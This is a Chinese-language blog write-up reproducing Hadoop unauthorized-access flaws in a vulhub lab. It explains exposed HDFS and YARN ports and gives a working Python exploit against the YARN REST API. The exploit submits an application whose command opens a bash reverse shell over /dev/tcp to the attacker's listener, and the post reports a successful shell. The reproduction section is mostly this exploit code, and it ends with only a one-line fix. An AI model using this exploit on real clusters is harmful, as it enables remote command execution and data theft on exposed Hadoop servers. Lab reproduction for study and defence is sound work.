大家好,我是小城,一个刚刚起步的学渣,笨鸟先飞,可惜我领悟得太晚。但从现在开始,我会努力加油进取变强!
0x01 漏洞简述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
HDFS是一个分布式文件系统,具有高容错性的特点,并且被设计用来部署在廉价的硬件上;而且它能够以高吞吐量来访问应用程序的数据,尤其适合那些有着超大数据集的应用程序。MapReduce是一个使用简易的软件框架,基于它编写出来的应用程序能够运行在由上千个商用机器组成的大型集群上,并以一种可靠容错的方式并行处理上T级别的数据集。
0x02 漏洞分析
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。主要 HDFS 和 MapReduce 的 WebUI 对应的服务端口。
其中比较重要的是 DataNode 默认端口 50075 开放的话,攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作。
0x03 漏洞影响版本
3.3.0 以下
0x04 漏洞复现
环境搭建
使用vulhub搭建。
靶机:kali2020 IP地址:192.168.71.141
攻击机:win7 IP地址:192.168.71.132
按照搭建hadoop靶场:
service docker start 启动docker服务
cd vulhub ... 进入到对应靶场文件
docker-compose down 关闭靶场
docker-compose build 对靶场进行编译
docker-compose up -d 启动靶场环境
docker ps 查看镜像
查看镜像,如出现以下图像,则成功搭建
进入靶场查看。
exp如下:
##!/usr/bin/env python
import requests
import sys
target = 'http://192.168.71.141:8088'##目标机ip
lhost = '192.168.71.100' ##将你的本地ip填在这里,使用nc监听2334端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/2334 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)r
在本机上用NC工具开启2334侦听端口
执行exp
成功反弹shell
命令也都能执行
0x05 漏洞修复建议
开启身份验证,防止未经授权用户访问